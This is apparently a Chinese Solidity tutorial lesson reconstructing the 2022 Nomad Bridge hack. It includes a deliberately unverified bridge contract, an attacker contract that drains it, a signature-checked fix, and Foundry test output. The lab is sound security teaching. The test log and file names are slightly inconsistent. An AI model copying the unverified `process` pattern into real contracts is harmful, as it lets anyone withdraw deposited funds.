首页
学习
活动
专区
圈层
工具
发布
49 篇文章
1
《纸上谈兵·solidity》第 0 课:搭建 Solidity 开发环境(三种方式)
2
《纸上谈兵·solidity》第 1 课:部署你的第一个 Solidity 合约
3
《纸上谈兵·solidity》第 2 课:调用、修改、读取,Solidity 合约不是 REST API
4
《纸上谈兵·solidity》第 3 课:事件(Event)机制与链上日志——不是 print,是广播!
5
《纸上谈兵·solidity》第 4 课:Solidity 合约中的错误处理机制(`require`、`revert`、`assert`)和自定义错误
6
《纸上谈兵·solidity》第 5 课:依赖与外部调用 —— 合约交互的风险与防护
7
《纸上谈兵·solidity》第 6 课:Solidity 数据存储布局 —— memory、storage、calldata 傻傻分不清?
8
《纸上谈兵·solidity》第 7 课:Solidity 函数可见性和修饰器 —— public 和 private 不只是权限标签
9
《纸上谈兵·solidity》第 8 课:Solidity 中的继承与接口 —— 模块化不是“复制粘贴”的借口
10
《纸上谈兵·solidity》第 9 课:Solidity 事件与日志机制 —— 合约世界的“printf”工具
11
《纸上谈兵·solidity》第 10 课:Solidity `fallback` / `receive` 函数 —— 合约如何收 ETH 和响应未知调用?
12
《纸上谈兵·solidity》第 11 课:Solidity 错误处理与异常机制 —— 让合约优雅地失败
13
《纸上谈兵·solidity》第 12 课:Solidity 函数选择器与 ABI 编码原理
14
《纸上谈兵·solidity》第 13 课:Solidity 低级调用 call/delegatecall/staticcall —— 直接和 EVM“对话”
15
《纸上谈兵·solidity》第 14 课:Solidity 中的可升级合约模式 —— 从代理合约到透明代理、UUPS 与安全陷阱
16
《纸上谈兵·solidity》第 15 课:Solidity 库与可重用代码
17
《纸上谈兵·solidity》第 16 课:Pull over Push 支付模式与 Check-Effects-Interactions 原则
18
《纸上谈兵·solidity》第 17 课:合约设计模式实战(二)—— Access Control 与权限管理
19
《纸上谈兵·solidity》第 18 课:合约设计模式实战(三)—— 代理 + 插件化架构(Diamond Standard / EIP-2535)
20
《纸上谈兵·solidity》第 19 课:安全专题(一)—— 常见攻击手法与防御
21
《纸上谈兵·solidity》第 20 课:Solidity 安全专题(二)—— 编译器特性与低级漏洞
22
《纸上谈兵·solidity》第 21 课:Gas 优化与成本分析 —— 写出便宜的智能合约
23
《纸上谈兵·solidity》第 22 课:代币合约(ERC20)从零实现与扩展
24
《纸上谈兵·solidity》第 23 课:NFT 合约(ERC721 / ERC1155)实战
25
《纸上谈兵·solidity》第 24 课:去中心化众筹合约(Crowdfunding)实战
26
《纸上谈兵·solidity》第 25 课:简化版的去中心化交易所(DEX)简化版
27
《纸上谈兵·solidity》第 26 课:借贷合约简化实现
28
《纸上谈兵·solidity》第 27 课:DAO 治理合约(去中心化自治组织)
29
《纸上谈兵·solidity》第 28 课:智能合约安全审计案例复盘 -- The DAO Hack(2016)
30
《纸上谈兵·solidity》第 29 课:智能合约安全审计案例复盘 -- Parity Wallet Hack(2017)
31
《纸上谈兵·solidity》第 30 课:智能合约安全审计案例复盘 -- Nomad Bridge(2022)
32
《纸上谈兵·solidity》第 31 课:多签钱包在跨链桥中的应用 —— Nomad 事件复盘
33
《纸上谈兵·solidity》第 32 课:DeFi 基础合约
34
《纸上谈兵·solidity》第 33 课:多签钱包(Multisig Wallet)-- 合约设计与实现
35
《纸上谈兵·solidity》第 34 课:多签钱包(Multisig Wallet)-- 上线
36
《纸上谈兵·solidity》第 35 课:去中心化交易所(DEX)实战 — 合约设计
37
《纸上谈兵·solidity》第 36 课:去中心化交易所(DEX)实战 — 上线
38
《纸上谈兵·solidity》第 37 课:DeFi 实战 -- 资金池与利率模型
39
《纸上谈兵·solidity》第 38 课:DeFi 实战(2) -- 清算机制与价格预言机
40
《纸上谈兵·solidity》第 39 课:DeFi 实战(3) -- 利息累积与 aToken 设计
41
《纸上谈兵·solidity》第 40 课:DeFi 实战(4) -- 风险控制与防护
42
《纸上谈兵·solidity》第 41 课:DeFi 实战(5) -- 协议费与治理
43
《纸上谈兵·solidity》第 42 课:DeFi 实战(6) -- 跨资产借贷与多市场支持
44
《纸上谈兵·solidity》第 43 课:DeFi 实战(7) -- 清算机制进阶(多资产抵押清算路径、拍卖机制)
45
《纸上谈兵·solidity》第 44 课:DeFi 实战(8) -- 利率曲线与资金池优化(动态利用率模型)
46
《纸上谈兵·solidity》第 45 课:DeFi 实战(9) -- 利息累积与结算机制(可复利)
47
《纸上谈兵·solidity》第 46 课:DeFi 实战(10) -- 跨链借贷与流动性桥接
48
《纸上谈兵·solidity》第 47 课:DeFi 实战(11) -- 治理代币 & 激励机制(Tokenomics & Governance)
49
《纸上谈兵·solidity》第 48 课:DeFi 实战(12) -- 前端 DApp 集成与用户交互(React + ethers.js 实战)

《纸上谈兵·solidity》第 30 课:智能合约安全审计案例复盘 -- Nomad Bridge(2022)

Nomad 是一个跨链消息传递协议,旨在实现不同区块链之间的安全通信。它通过一种乐观机制,允许用户在无需中介验证的情况下发送消息,并通过欺诈证明来保障安全性。这种设计使得 Nomad 成为一个去中心化且高效的跨链解决方案。


1. Nomad 的工作原理

  • 乐观机制:Nomad 允许消息在无需立即验证的情况下传递,接收链上的观察者可以在规定时间内提出挑战,以确保消息的有效性。
  • 去中心化安全性:通过去中心化的观察者网络,Nomad 实现了无需信任中介的安全性。
  • 低成本:与传统的跨链桥相比,Nomad 的设计显著降低了交易费用。
  • 可扩展性:开发者可以利用 Nomad 的 SDK 构建跨链应用程序,无需关心底层的跨链通信细节。

2. 2022 年 Nomad 桥接事件

2022 年 8 月,Nomad 桥接遭遇了重大安全漏洞,导致约 1.9 亿美元的资产被盗。

  • 漏洞原因:在一次智能合约更新中,Nomad 引入了一个验证错误,使得恶意用户可以伪造有效的消息证明,绕过验证机制。
  • 攻击方式:攻击者复制了有效的消息格式,触发了合约中的资金转移功能,导致大量资金被盗。
  • 影响范围:此次攻击涉及多个资产,包括 ETH、USDC、WBTC 等,影响了多个链上的用户。
  • 后续处理:事件发生后,Nomad 团队迅速修复了漏洞,并与社区合作追回部分被盗资产。

3. 关键人物被捕

2025 年 5 月,涉嫌参与 2022 年 Nomad 桥接攻击的关键人物亚历山大·古列维奇(Alexander Gurevich)在以色列被捕,并被引渡至美国接受审判。


4. 安全建议

  • 使用多重签名钱包:避免将大量资产存放在单一地址。
  • 定期审计智能合约:确保合约代码的安全性,及时修复发现的漏洞。
  • 关注官方通告:及时了解协议方发布的安全更新和公告。

5. 攻击复现实验

VulnerableBridge.sol 是一个模拟 Nomad 桥接合约的智能合约,它包含了一个验证错误,使得攻击者可以伪造有效的消息证明,绕过验证机制。

代码语言:solidity
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 漏洞版跨链桥(Nomad Hack复现)
/// @notice 没有验证消息合法性,任何人都能调用 process 提款
contract VulnerableBridge {
    mapping(bytes32 => bool) public processed;

    /// @notice 存款
    function deposit() external payable {}

    /// @notice 处理跨链消息(没有验证签名或Merkle证明)
    function process(bytes32 txHash, address to, uint256 amount) external {
        require(!processed[txHash], "already processed");

        // 没有验证消息是否真实,任何人都能调用
        processed[txHash] = true;

        payable(to).transfer(amount);
    }

    /// @notice 合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

SecureBridge.sol 是一个修复了验证错误的跨链桥合约,它通过验证消息的签名和 Merkle 证明,确保了只有合法的跨链消息才能被处理。

代码语言:solidity
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 修复后的跨链桥
/// @notice 使用签名验证防止伪造消息
contract SecureBridge {
    mapping(bytes32 => bool) public processed;
    address public validator; // 可信验证者

    constructor(address _validator) {
        validator = _validator;
    }

    /// @notice 存款
    function deposit() external payable {}

    /// @notice 处理跨链消息(需要签名验证)
    /// @param txHash 跨链交易哈希
    /// @param to 接收者
    /// @param amount 金额
    /// @param signature 验证者签名
    function process(
        bytes32 txHash,
        address to,
        uint256 amount,
        bytes memory signature
    ) external {
        require(!processed[txHash], "already processed");

        // 恢复签名者地址
        bytes32 message = prefixed(keccak256(abi.encodePacked(txHash, to, amount)));
        address signer = recoverSigner(message, signature);

        require(signer == validator, "invalid signature");

        processed[txHash] = true;
        payable(to).transfer(amount);
    }

    /// @notice 生成以太坊前缀消息
    function prefixed(bytes32 hash) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    /// @notice 从签名中恢复签名者地址
    function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
        require(sig.length == 65, "invalid signature length");

        bytes32 r;
        bytes32 s;
        uint8 v;

        assembly {
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }

        return ecrecover(message, v, r, s);
    }

    /// @notice 合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol 是一个模拟攻击者的智能合约,它通过调用 VulnerableBridgeprocess 函数,绕过了验证机制,实现了对合约余额的提款。

代码语言:solidity
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./VulnerableBridge.sol";

/// @title 攻击合约 - 模拟 Nomad Bridge Hack
contract BridgeAttacker {
    VulnerableBridge public bridge;
    address public owner;

    constructor(address _bridge) {
        bridge = VulnerableBridge(_bridge);
        owner = msg.sender;
    }

    /// @notice 假造一笔消息,直接提走资金
    function fakeMessage(bytes32 fakeTxHash, uint256 amount) external {
        bridge.process(fakeTxHash, owner, amount);
    }
}

NomadFixTest.t.sol 是一个测试脚本,用于模拟攻击者对 VulnerableBridge 的攻击。

代码语言:solidity
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/VulnerableBridge.sol";
import "../src/SecureBridge.sol";
import "../src/BridgeAttacker.sol";

/// @title Nomad Bridge 修复对比测试
contract NomadFixTest is Test {
    VulnerableBridge vulnBridge;
    SecureBridge secureBridge;
    BridgeAttacker attacker;

    address deployer = address(0x1234);
    address hacker = address(0x2345);
    address validator = address(0x3456);

    function setUp() public {
        vm.deal(deployer, 20 ether);

        // 部署漏洞版桥,存入资金
        vm.startPrank(deployer);
        vulnBridge = new VulnerableBridge();
        vulnBridge.deposit{value: 10 ether}();

        // 部署修复版桥,存入资金
        secureBridge = new SecureBridge(validator);
        secureBridge.deposit{value: 10 ether}();
        vm.stopPrank();
    }

    /// @notice 漏洞版桥 -> 攻击成功
    function testExploitOnVulnerableBridge() public {
        attacker = new BridgeAttacker(address(vulnBridge));

        emit log_named_uint("VulnBridge Balance Before", address(vulnBridge).balance);

        vm.prank(hacker);
        attacker.fakeMessage(keccak256("fake_tx"), 10 ether);

        emit log_named_uint("VulnBridge Balance After", address(vulnBridge).balance);
        emit log_named_uint("Attacker Balance After", address(hacker).balance);

        assertEq(address(vulnBridge).balance, 0, "VulnBridge should be drained");
    }

    /// @notice 修复版桥 -> 攻击失败
    function testExploitOnSecureBridge() public {
        attacker = new BridgeAttacker(address(secureBridge));

        emit log_named_uint("SecureBridge Balance Before", address(secureBridge).balance);

        vm.prank(hacker);
        vm.expectRevert(); // ⚠️ 没有签名,调用会失败
        attacker.fakeMessage(keccak256("fake_tx"), 10 ether);

        emit log_named_uint("SecureBridge Balance After", address(secureBridge).balance);

        assertEq(address(secureBridge).balance, 10 ether, "SecureBridge funds safe");
    }

    receive() external payable {}
}

执行测试:

代码语言:bash
复制
➜  tutorial git:(main) ✗ forge test --match-path test/NomadHack.t.sol -vvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.30
[⠑] Solc 0.8.30 finished in 531.22ms
Compiler run successful!

Ran 2 tests for test/NomadHack.t.sol:NomadFixTest
[PASS] testExploitOnSecureBridge() (gas: 300074)
Logs:
  SecureBridge Balance Before: 10000000000000000000
  SecureBridge Balance After: 10000000000000000000

[PASS] testExploitOnVulnerableBridge() (gas: 332429)
Logs:
  VulnBridge Balance Before: 10000000000000000000
  VulnBridge Balance After: 0
  Attacker Balance After: 0

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 8.03ms (2.59ms CPU time)

Ran 1 test suite in 168.00ms (8.03ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
下一篇
举报
领券